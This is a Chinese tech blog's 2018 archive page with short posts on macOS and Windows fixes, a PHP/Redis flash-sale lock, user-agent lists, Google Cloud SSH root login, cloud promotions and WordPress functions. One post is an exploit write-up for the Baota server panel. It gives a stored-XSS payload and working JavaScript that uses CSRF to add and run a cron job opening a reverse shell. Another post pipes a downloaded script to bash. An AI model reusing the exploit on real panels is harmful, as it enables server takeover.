年度归档: 2018 年

  • MacOS 更新 MOJAVE 10.14 星际争霸2 进入游戏鼠标无法移动 解决方案

    MacOS 更新 MOJAVE 10.14 星际争霸2 进入游戏鼠标无法移动 解决方案

    MacOS系统在更新MOJAVE 10.14后,进入星际争霸2 StarCraftⅡ鼠标无法移动,下面说一下解决办法:

    打开系统偏好设置–>安全性与隐私–>辅助,勾选?SC2.app即可。

  • Windows Server 2012 R2 解除文件下载限制

    Windows Server 2012 R2 解除文件下载限制

    Windows Server老季也是很少使用,最近安装了2012,新装的2012机器居然IE无法下载,我们这里记录一下如何才能解除文件下载限制。

    打开 IE浏览器的 Internet 选项卡,点击安全选项卡.

    关闭启用保护模式 

    点击自定义级别,开启下载

  • Vultr Debian 8 x64环境下一键安装Windows7系统

    Vultr Debian 8 x64环境下一键安装Windows7系统

    在国外,因为版权的关系,不少VPS服务商并不提供Windows系统的支持。而提供Windows系统的价格也比Linux VPS的价格高了不少。所以,不少玩家也在尝试基于Linux安装Windows系统。

    在安装包中,萌咖 制作的一键包安装速度快,也比较稳定,非常推荐。安装环境最好是KVM,Debian 8 x64以上,老季测试使用的Vultr家5美元/月的配置

    安装过程比较简单,执行如下命令即可:

    wget –no-check-certificate -qO DebianNET.sh ‘https://moeclub.org/attachment/LinuxShell/DebianNET.sh’ && bash DebianNET.sh -dd ‘https://moeclub.org/get-win7embx86-auto’

    接下来的过程我们就完全无需操心,等待十分钟即可安装完成。

    安装完成之后,我们通过Windows系统的远程功能直接登录就可以了。

    默认的远程登录账号密码分别为:Administrator/Vicer,我们登录之后记得修改密码。

    注意:不同服务商对版权的重视程度不同,也有不同的TOS,尝试之前请务必遵守规则。

  • PHP 基于Redis/Memcached的高并发秒杀 锁 设计思路 代码示例

    PHP 基于Redis/Memcached的高并发秒杀 锁 设计思路 代码示例

    如何设计高并发时的秒杀,是面试电商技术职位时必考的题目。今天在这里分享一下php基于Redis或Memcached的技术方案,能解决重复提交、超发、高并发的问题。

    <?php

    //预定义总库存
    define(“TOTAL_STOCK”, 5);
    //预定义商品编号
    define(“ITEM_ID”, “ITEM_001”);

    $userId = $_GET[‘userId’];
    $userIdKey = ITEM_ID . ‘_’ . $userId;

    $redis = new redis();
    //如果有多台Redis服务器,可根据商品编号哈希后得到其中一台redis的地址
    $result = $redis->connect(‘master104’, 6379);

    //获取之前已经领取掉的数量
    $requested = $redis->get(“requested”);
    echo “领取前库存: ” . (string)(TOTAL_STOCK – $requested) . “<br />”;

    //如果已领取大于预定义库存,则认为库存为零,不允许继续
    if ($requested && ($requested >= TOTAL_STOCK))
    {
    echo “已领完,请下次再来”;
    die();
    }

    //通过设置用户对该商品的领取状态,来检查该用户是否已领取过
    //如果使用Memcached的话,可以使用cas()
    if (!$redis->setnx($userIdKey, 1))
    {
    echo “您已领取过该商品,不允许重复领取”;
    die();
    }

    //增加领取数量以减少库存。
    //高并发情况下可能会有多个incr()是成功的。但是没关系,在领取数大于库存数后,通过下面的if判断后,后面的请求都是无效的。
    $requested = $redis->incr(“requested”);

    //如果尝试增加的时候,发现库存已经为零了,需要重置用户领取状态
    if ($requested && ($requested > TOTAL_STOCK))
    {
    $redis->del($userIdKey);
    echo “已领完,请下次再来”;
    die();
    }

    //以下可以做其他的后续操作,比如各种异步并行操作,或是投递消息到队列,等等
    //Step1
    //…
    //StepN

    //如果步骤进行到这里,不管以上的异步操作进行得如何,我们都必须认为用户已经领取成功。
    //即使有任何失败,我们都需要用技术手段帮用户完成上述Step1到StepN
    echo “领取成功!<br />”;
    echo “领取后库存: ” . (string)(TOTAL_STOCK – $requested) . “<br />”;

  • 某面板6.x版本前台存储xss+后台csrf组合拳getshell 图文教程

    某面板6.x版本前台存储xss+后台csrf组合拳getshell 图文教程

    【前言】

    什么是宝塔面板?

    宝塔面板是一款使用方便、功能强大且终身免费的服务器管理软件,支持Linux与Windows系统。一键配置:LAMP/LNMP、网站、数据库、FTP、SSL,通过Web端轻松管理服务器。推出至今备受中小站点站长喜爱,下载量过百万。

    【漏洞代码分析】

    在6.x linux版本宝塔面板当中当中,相对与5.x版本,记录了验证码错误并存入数据库当中,存储xss缺陷就是在此处产生。

    我们直接看漏洞代码。

    直接分析post请求部分。

    代码如下:

    我们可以看到这里首先判断了是否有 用户名密码,然后是验证码。判断这个IP是否是有登陆失败的记录。如果大于1 记录一下,随后将错误次数大于1的用户名的和密码都进行了记录。
    从数据库中读取管理员账号密码。进行对比。如果没有成功就返回一个错误

    关键的代码如下:

    此处记录了一下post 的请求。然后将code传入到了写日志的一个函数里面。追踪一下这个函数。 在public.py 里面,找到如下函数

    这里就是一个写日志的功能。定义了一个teyp 然后是args 。这里把code 传递过来。就直接写入了日志。没有做任何过滤处理。然后就导致了xss漏洞产生。
    可以在宝塔数据库当中,看到logs数据库里存储的信息

    【漏洞复现】

    我们直接在面板登录处,随便输入一个账号密码,触发失败,要求输入验证码。

    由于没有任何过滤处理,我们直接输入弹窗的payload:<script>alert(‘www.dafsec.org’)</script>

    登录后台后,打开安全模块,成功触发弹窗。

    由于服务器管理面板的特殊性,后台可以进行敏感操作。手写js远程调用,利用csrf漏洞在计划任务处配合存储xss,可成功反弹shell,弹shell成功截图如下:

    远程调用的js代码如下:

    function addTask(TaskName, execTime, ip, port) {
        var execShell = 'bash -i >& /dev/tcp/your_ip/your_port 0>&1';
        execShell = encodeURIComponent(execShell);
        var params = 'name=' + TaskName + '&type=minute-n&where1=' + execTime + '&hour=&minute=&week=&sType=toShell&sBody=' + execShell + '&sName=&backupTo=localhost&save=&urladdress=undefined'
        var xhr = new XMLHttpRequest();
        xhr.open('POST', '/crontab?action=AddCrontab', false);
        xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
        xhr.send(params);
    }
    function execTask(TaskName) {
        var xhr = new XMLHttpRequest();
        xhr.open('POST', '/crontab?action=GetCrontab', true);
        xhr.send();
        xhr.onload = function () {
            if (this.readyState == 4 && this.status == 200) {
                var res = JSON.parse(this.responseText);
                if (res[0].name == TaskName) {
                    var TaskID = res[0].id.toString();
                    var xhr = new XMLHttpRequest();
                    xhr.open('POST', '/crontab?action=StartTask', false);
                    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
                    var params = 'id=' + TaskID;
                    xhr.send(params);
                    delTask(res[0].id);
                    console.log(res[0].id);
                    return res[0].id;
                }
            }
        }
    }
    function delTask(TaskID) {
        var params = 'id=' + TaskID.toString();
        var xhr = new XMLHttpRequest();
        xhr.open('POST', '/crontab?action=DelCrontab', false);
        xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
        xhr.send(params);
    }
    var TaskName = Math.random().toString(36).substring(7);
    addTask(TaskName, '5', '1.1.1.1', '53');
    execTask(TaskName);
    

    【后序】

    宝塔官方已修复该漏洞,但仍有大量存在漏洞主机暴露于公网,请及时更新至最新版本。
    官方已修复该漏洞,漏洞环境可以将附件当中的test.py同名覆盖掉宝塔最新版的/www/server/panel/class/userlogin.py

  • PC/WAP 常见USER-AGENT值 列表

    PC/WAP 常见USER-AGENT值 列表

    我们之前写了一个WordPress的采集插件WP-JPost:WordPress 采集插件 WP-JPost?, 提到?WordPress 采集插件 WP-JPost 在Windows/Linux 系统环境下安装curl 采集 带ssl的https网站 图文教程?。如果目标站对我们的爬虫状态进行了设置屏蔽curl的特征的话,我们这里就需要user-agent出场了。

    [title]什么是User Agent ?[/title]

    User Agent中文名为用户代理,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。

    [title]设置User Agent有什么用?[/title]

    比如你在做移动APP开发时,有个网站在你手机端APP打开之后和直接在浏览器中打开之后看到的东西不一样,网页会根据UA判断你是app打开的还是直接浏览器打开的,如果没有找到事先商定的UA信息就认定这个链接是在浏览器打开的,如果查询到事先商定的UA就是用app打开的,两种情况可以让你看到不同的东西,做不同的操作,比如有些东西开发者只想让你使用app打开才能看见。

    [title]PC端常见浏览器User-Agent[/title]

    Opera

    Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 OPR/26.0.1656.60

    Opera/8.0 (Windows NT 5.1; U; en)

    Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.50

    Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 9.50

    Firefox

    Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0

    Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10

    Safari

    Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2

    Chrome

    Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36

    Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11

    Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16

    360浏览器

    Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36

    Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

    淘宝浏览器

    Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.11 TaoBrowser/2.0 Safari/536.11

    猎豹浏览器

    Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.71 Safari/537.1 LBBROWSER

    Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; LBBROWSER)

    Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E; LBBROWSER)”

    QQ浏览器

    Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; QQBrowser/7.0.3698.400)

    Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)

    Sogou浏览器

    Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.84 Safari/535.11 SE 2.X MetaSr 1.0

    Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SV1; QQDownload 732; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)

    Maxthon浏览器

    Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/4.4.3.4000 Chrome/30.0.1599.101 Safari/537.36

    UC浏览器

    Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 UBrowser/4.0.3214.0 Safari/537.36

    [title]移动浏览器大全[/title]

    iPhone

    Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5

    IPod

    Mozilla/5.0 (iPod; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5

    IPAD

    Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; zh-cn) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5

    Mozilla/5.0 (iPad; U; CPU OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5

    Android

    Mozilla/5.0 (Linux; U; Android 2.2.1; zh-cn; HTC_Wildfire_A3333 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1

    Mozilla/5.0 (Linux; U; Android 2.3.7; en-us; Nexus One Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1

    QQ浏览器 Android版本

    MQQBrowser/26 Mozilla/5.0 (Linux; U; Android 2.3.7; zh-cn; MB200 Build/GRJ22; CyanogenMod-7) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1

    Android Opera Mobile

    Opera/9.80 (Android 2.3.4; Linux; Opera Mobi/build-1107180945; U; en-GB) Presto/2.8.149 Version/11.10

    Android Pad Moto Xoom

    Mozilla/5.0 (Linux; U; Android 3.0; en-us; Xoom Build/HRI39) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13

    BlackBerry

    Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en) AppleWebKit/534.1+ (KHTML, like Gecko) Version/6.0.0.337 Mobile Safari/534.1+

    WebOS HP Touchpad

    Mozilla/5.0 (hp-tablet; Linux; hpwOS/3.0.0; U; en-US) AppleWebKit/534.6 (KHTML, like Gecko) wOSBrowser/233.70 Safari/534.6 TouchPad/1.0

     

  • MacOS升级后出现的 xcrun: error: invalid active developer path, missing xcrun 错误 解决办法 图文教程

    MacOS升级后出现的 xcrun: error: invalid active developer path, missing xcrun 错误 解决办法 图文教程

    错误说明

    我们在升级了MacOS系统之后出现了错误,如下:

    # git add .
    xcrun: error: invalid active developer path (/Library/Developer/CommandLineTools), missing xcrun at: /Library/Developer/CommandLineTools/usr/bin/xcrun

    在终端中输入git命令出现了上述错误,后来想到应该是升级了系统导致的。下面给出解决方法。

    解决办法

    在终端输入:

    xcode-select –install

    重装command line tools 就好了

  • Google Cloud Platform(GCP)的Google Compute Engine(GCE)VM实例 SSH root 用户密码登录 图文教程

    Google Cloud Platform(GCP)的Google Compute Engine(GCE)VM实例 SSH root 用户密码登录 图文教程

    最近Google Cloud Platform(GCP)谷歌云的Google Compute Engine(GCE)比较热门(Google GCE 免费300美金/一年使用期限 注册使用 图文教程),受到国内众多羊毛党追捧,好多朋友都想办法去办各种信用卡来申请GCP。但是我们申请并添加实例后会发现Google Compute Engine(GCE)的VM实例的SSH只能用key密钥登录,root用户无法使用账号密码登录。这样有时候使用一些ftp工具进行系统文件修改会有些不方便。

    (为了方便而开启root用户密码登录代表着我们将降低系统安全级别,请斟酌后进行操作!)

    那么下面我们就来记录下如何开启Google Cloud Platform(GCP)谷歌云Google Compute Engine(GCE)VM实例ssh用root账户密码登陆。

    首先我们登录Google Compute Engine(GCE)VM实例列表,在我们想要开启root用户密码登录的VM实例列中的“SSH”菜单选项下,选择“在浏览器窗口中打开”。

    然后使用sudo su命令提升用户权限,切换为root用户。

    sudo su

    然后编辑系统配置文件sshd_config

    vi /etc/ssh/sshd_config

    进入编辑模式,输入法切换为英文按“A”进入编辑修改模式。

    修改其中信息

    # Authenticat ion:
    LoginGraceTime 2
    PermitRootLogin yes //把默认的no,改为yes
    StrictModes yes //把默认的no,改为yes

    在往下翻

    # To di sable tunne led clear text pas swords, change to no here!
    PasswordAuthentication yes //把默认的no,改为yes

    既然已经打开ssh的用户密码登录功能,为了更加安全,我们可以顺便把默认端口修改为自定义端口号。如果你这样做了,会使你的vps安全性更高,但是也意味着上面第一步在浏览器中的VM实例列“SSH”菜单选项下“在浏览器窗口中打开”网页版“SSH”不能使用了。修改方法很简单,就是在上一步编辑系统配置文件sshd_config中同时修改Port后面的数字。

    Port 22 //把默认为22端口,改为自己想要的高段位端口,尽量难猜点

    然后按“esc”,输入“:wq”进行编辑保存。

    接下来为root用户配置一个密码:

    passwd root

    提示“Enter new UNIX password:”让我们输入一个新密码,密码一定要长最好15位以上、数字、英文大小写、字符都具备最好。找个安全地方记录好就行。

    然后回车提示“Retype new UNIX pas Sword:”验证上面输入的密码。

    重启SSH服务使我们的修改生效。

    /etc/init.d/ssh restart

    到这里我们可以退出网页版SSH,使用电脑终端“CMD”登录以验证我们的修改是否成功。

    ssh -p 修改的端口号 root@111.111.111.111

    到这里我们就成功的使用root用户密码登录Google Compute Engine(GCE)VM实例的SSH了。

    Putty SSH使用私钥验证登录Linux centos debian VPS主机图文教程

  • Google Compute Engine GCE 免费300美金/一年使用期限 注册使用 图文教程

    Google Compute Engine GCE 免费300美金/一年使用期限 注册使用 图文教程

    Google Compute Engine GCE就是Google家卖VPS的,线路质量好,地区众多和微软的Azure一样,就是贵,一般人买不起。GCE的最低配置是5刀一个月,CPU、内存、硬盘都是独立按分钟算钱,面向中国的流量比较贵,大约为1GB 1元多,但是对比阿里云香港B其实优势不大,阿里云香港B流量是1元/GB,机器配置也高一些,CN2的网络质量还是非常不错的。

    新用户注册试用有300美元两个月有效期的试用费用,不要白不要,接触一下高质量的机器也算是物超所值了。

    1.注册

    【迷之高产50%】土豪机器测试--Google GCE使用体验

    GCE注册需要扶墙,网址:https://cloud.google.com 点击“Try it”

    填写一大堆表单就略过了,填写真实的资料即可。注册需要绑定信用卡,建议是实体卡好些,会扣除1美元的预付款,验证通过后会退还给你,但是不可使用全球付,已经被封了。

    注册成功后官方会有一个详细的教程指导你建立一个主机,一步步跟着来就行。

    2.创建计算引擎

    主页面,我们选择的是计算引擎。

    【迷之高产50%】土豪机器测试--Google GCE使用体验

    创建实例,可以自主选择配置和系统。我们选择台湾节点,Asia East

    【迷之高产50%】土豪机器测试--Google GCE使用体验

    拉到最下面,切换到网络,创建一个独立IP地址。

    【迷之高产50%】土豪机器测试--Google GCE使用体验

    GCE默认是只能通过一个类似VNC的东西登录的,虽然挺好用的就是麻烦,通过一下设置我们可以在本地使用Xshell等软件登录。

    【迷之高产50%】土豪机器测试--Google GCE使用体验

    3.SSH密钥

    进入“元数据”创建一个SSH密钥,同时使用Xshell5软件创建一个新的密钥,如图所示一路下一步,记得保存一下密钥文件,并保存好,记得复制密钥内容,回到网页如图填写,格式为:密钥内容 登录用户名

    【迷之高产50%】土豪机器测试--Google GCE使用体验

    【迷之高产50%】土豪机器测试--Google GCE使用体验

    【迷之高产50%】土豪机器测试--Google GCE使用体验

    【迷之高产50%】土豪机器测试--Google GCE使用体验

    登录用户名只能设置自己的一个,无法使用root,如果需要root权限只能使用:su 命令临时切换。

    全部完成后我们回到Xshell软件,输入IP、用户名登录,软件默认选择刚才创建的密钥登录,直接确定即可。

    【迷之高产50%】土豪机器测试--Google GCE使用体验

     

    4.测试

    路由测试

    【迷之高产50%】土豪机器测试--Google GCE使用体验

    Ping值测试,非常不错

    【迷之高产50%】土豪机器测试--Google GCE使用体验

    机器性能测试,IO都被限制了,包括阿里云和Azure

    【迷之高产50%】土豪机器测试--Google GCE使用体验

    5.总结

    土豪才能玩得起的机器,因为贵和谷歌的品质保证了机器的网络质量非常高,所以如果需要高质量的VPS而且不差钱可以考虑GCE。

  • #活动# 腾讯云 – 2核8G(上海区)1折 / 2核4G(上海区)2折 / 1核1G(上海区)3折

    #活动# 腾讯云 – 2核8G(上海区)1折 / 2核4G(上海区)2折 / 1核1G(上海区)3折

    导读

    被业内称为良心云的腾讯云,最近又推出一个上海三区,马上双11邻近,已经开始在搞活动了。

    简要说明

    2核8G(上海区)1折 3069立即秒杀
    10Mbps带宽, 50G系统盘(高性能云硬盘)
    (约为 85.25 元/月)
    省 27621 元

    2核4G(上海区)2折 1702.8立即秒杀
    2Mbps带宽, 50G系统盘(高性能云硬盘)
    (约为 47.3 元/月)
    省 6811.2 元

    1核1G(上海区)3折 858.6立即秒杀
    1Mbps带宽, 50G系统盘(高性能云硬盘)
    (约为 23.85 元/月)
    省 2003.4 元

     

    秒杀规则

    活动对象:腾讯云官网已注册且完成实名认证的国内站用户均可参与(协作者除外);

    活动时间:2018年10月17日至10月26日,每天两场秒杀,时间分别为:9:00-12:00,15:00-18:00(周末除外)。

    秒杀说明:

    1. 秒杀活动优惠不能与其他优惠叠加,不能使用代金券;
    2. 订单15分钟内未完成支付将自动关闭,请下单后尽快支付;达到购买数量和次数限制后若取消订单,10分钟后恢复对应次数的购买资格;
    3. 秒杀活动中,同一用户(同一手机、邮箱、实名认证用户视为同一用户)每次秒杀限选1款,限购1台,同一用户每款配置的商品最多可秒杀1次;
    4. 配置升级和续费按官网正常购买流程执行;
    5. 秒杀产品不支持退款;
    6. 秒杀区云服务器配置均为标准型S2机型,50G系统盘(高性能云硬盘);带宽配置含1Mbps、2Mbps、5Mbps、10Mbps;
    7. 为保证活动的公平公正,腾讯云有权对恶意刷抢活动资源(如通过程序等技术手段),长期资源闲置,利用资源从事违法违规行为的用户收回云资源。
  • WordPress 开发 wp_category_checklist 将分类显示为checkbox格式

    WordPress 开发 wp_category_checklist 将分类显示为checkbox格式

    WordPress 开发 wp_dropdown_categories 下拉式框显示所分类目录标签函数

    wp_category_checklist( int?$post_id, int?$descendants_and_self, array?$selected_cats?=?false, array?$popular_cats?=?false, object?$walker?=?null, bool?$checked_ontop?=?true?)

    Output an unordered list of checkbox input elements labeled with category names.输出一个没有排序的checkbox格式的分类。

    Parameters

    $post_id

    (int) (Optional) Post to generate a categories checklist for. Default 0. $selected_cats must not be an array. Default 0.

    $descendants_and_self

    (int) (Optional) ID of the category to output along with its descendants. Default 0.

    $selected_cats

    (array) (Optional) List of categories to mark as checked.

    Default value: false

    $popular_cats

    (array) (Optional) List of categories to receive the “popular-category” class.

    Default value: false

    $walker

    (object) (Optional) Walker object to use to build the output. Default is a Walker_Category_Checklist instance.

    Default value: null

    $checked_ontop

    (bool) (Optional) Whether to move checked items out of the hierarchy and to the top of the list.

    Default value: true

    源码

    File: wp-admin/includes/template.php

    function wp_category_checklist( $post_id = 0, $descendants_and_self = 0, $selected_cats = false, $popular_cats = false, $walker = null, $checked_ontop = true ) {
    wp_terms_checklist( $post_id, array(
    'taxonomy' => 'category',
    'descendants_and_self' => $descendants_and_self,
    'selected_cats' => $selected_cats,
    'popular_cats' => $popular_cats,
    'walker' => $walker,
    'checked_ontop' => $checked_ontop
    ) );
    }
  • WordPress 开发 wp_dropdown_categories 下拉式框显示所分类目录标签函数

    WordPress 开发 wp_dropdown_categories 下拉式框显示所分类目录标签函数

    WordPress的wp_dropdown_categories()函数可以让我们以下拉式框的方式显示所分类目录标签,下面来看看这个标签函数的用法。

    说明

    该标签在一个没有提交按钮的选择框(如下拉式选框)中展示分类目录列表。

    用法

    <?php?wp_dropdown_categories(?$args?);??>

    默认用法

    ?<?php?$args?=?array(
    ????'show_option_all'????=>?,
    ????'show_option_none'???=>?,
    ????'orderby'????????????=>?'ID',?
    ????'order'??????????????=>?'ASC',
    ????'show_count'?????????=>?0,
    ????'hide_empty'?????????=>?1,?
    ????'child_of'???????????=>?0,
    ????'exclude'????????????=>?,
    ????'echo'???????????????=>?1,
    ????'selected'???????????=>?0,
    ????'hierarchical'???????=>?0,?
    ????'name'???????????????=>?'cat',
    ????'id'?????????????????=>?,
    ????'class'??????????????=>?'postform',
    ????'depth'??????????????=>?0,
    ????'tab_index'??????????=>?0,
    ????'taxonomy'???????????=>?'category',
    ????'hide_if_empty'??????=>?false?);??>

    默认情况下的显示状态:

    • 升序排列分类目录ID
    • 不显示最新更新
    • 不显示分类目录下的文章总数
    • 不显示“空”分类
    • 不排除任何分类
    • 显示(回应)分类目录
    • 选项框中不选中任何分类
    • 不以分层结构显示分类目录
    • 为列表命名为“cat”
    • 将列表赋值给’postform’类
    • 无层数限制

    参数

    show_option_all

    (字符串)生成下拉式选项框的HTML,从而允许你选定所有分类目录。

    show_option_none

    (字符串)生成下拉式选项框的HTML,从而允许你不选定任何分类目录。

    orderby

    (字符串)按某种标准为分类目录排序。有效值包括:

    • ‘ID’ ——默认值
    • ‘name’

    order

    (字符串)为分类目录排序(升序或降序)有效值包括:

    • ‘ASC’(升序) ——默认值
    • ‘DESC’(降序)

    show_count

    (布尔型)是否显示每个分类目录下现有的日志总数。有效值包括:

    • 1 (true)
    • 0(false)——默认值

    hide_empty

    (布尔型)是否隐藏(不显示)不含有文章的分类目录。有效值包括:

    • 1 (true)——默认值
    • 0(false)

    child_of(整数)

    只显示某一个分类的子分类;用该分类的ID作为参数值。无默认值。

    exclude

    (字符串)将要排除的分类目录的ID列表,各ID用逗号隔开。例如, ‘exclude=4,12′ 表示不显示或返回ID为4和12的分类。默认值为不排除任何分类。

    exclude_tree

    (字符串)定义需要排除的父分类ID列表,各ID用逗号隔开。用该参数排除某个父分类目录及其所有子分类目录。因此 ‘exclude_tree=5′ 可排除ID为5的父分类及其所有子分类。该参数引入于WP 2.7.1。

    echo

    (布尔型)显示结果(TRUE),或返回结果以供PHP使用(FALSE)。默认值为TRUE。

    • 1 (true)——默认值
    • 0(false)

    selected

    (整数)在显示框中选中/显示的分类目录的ID。默认为不选中任何分类目录。

    hierarchical

    (布尔型)以分层形式显示分类目录(子分类目录内嵌于其父分类目录下)。默认值为FALSE。有效值包括:

    • 1 (True)—— 默认值
    • 0 (False)

    name

    (字符串)下拉式选框被赋予的名称。默认为cat’。

    class

    (字符串)被赋给下拉式选项框的类,默认为’postform’。

    depth(整数)

    该参数决定wp_list_pages所生成的分类目录列表中所允许的分类层级的层数。默认值为0(显示包括子分类目录在内的所有分类目录)。该参数引入于WP?2.5。

    • 0 —— 显示所有分类目录和他们的子分类目录(默认)
    • -1 —— 以平面(不缩进)方式显示所有分类目录和他们的子分类目录
    • 1 —— 只显示顶级分类目录
    • n —— 该值表示可以缩进显示的分类目录层数。

    示例

    带有提交按钮的下拉式选项框

    WordPress侧边栏的无序列表中,以HTML格式显示带有层级的分类目录下拉式列表,有提交按钮,给出各分类目录下的文章总数。

    <li id="categories">
    <h2><?php _e('Categories:'); ?></h2>
    ?? <form action="<?php bloginfo('url'); ?>" method="get">
    ?? <?php wp_dropdown_categories('show_count=1&hierarchical=1'); ?>
    ?? <input type="submit" name="submit" value="view" />
    ?? </form>
    </li>

    用JavaScript显示一个没有提交按钮的下拉式选项框

    下面这个示例摘自WordPress论坛上的一个帖子,该示例借用了show_option_none参数。

    <li id="categories"><h2><?php _e('Posts by Category');??></h2>
    <?php wp_dropdown_categories('show_option_none=Select category');??>
    <script type="text/javascript"><!--
    ??? var dropdown = document.getElementById("cat");
    ??? function onCatChange() {
    if ( dropdown.options[dropdown.selectedIndex].value > 0 ) {
    location.href = "<?php echo get_option('home');
    ?>/?cat="+dropdown.options[dropdown.selectedIndex].value;
    }
    ??? }
    ??? dropdown.onchange = onCatChange;
    --></script>
    </li>

    用JavaScript显示一个没有提交按钮的下拉式选项框

    下面这段代码使用了echo参数(echo=0)。在JavaScript代码中插入一个简单的?preg_replace。即使没有JavaScript,代码也可正常运行(提交按钮被noscript标签包裹)。

    <li id="categories">
    <h2><?php _e('Posts by Category');??></h2>
    <form action="<?php bloginfo('url');??>/" method="get">
    <div>
    <?php
    $select = wp_dropdown_categories('show_option_none=Select category&
    show_count=1&orderby=name&echo=0');
    $select = preg_replace("#<select([^>]*)>#", "<select$1 onchange='
    return this.form.submit()'>", $select);
    echo $select;
    ?>
    <noscript><div><input type="submit" value="View" /></div></noscript>
    </div></form>
    </li>

    历史记录

    • 始见于WordPress 2.1.0版本

    源文件

    wp_dropdown_categories()位于 wp-includes/category-template.php

WeChat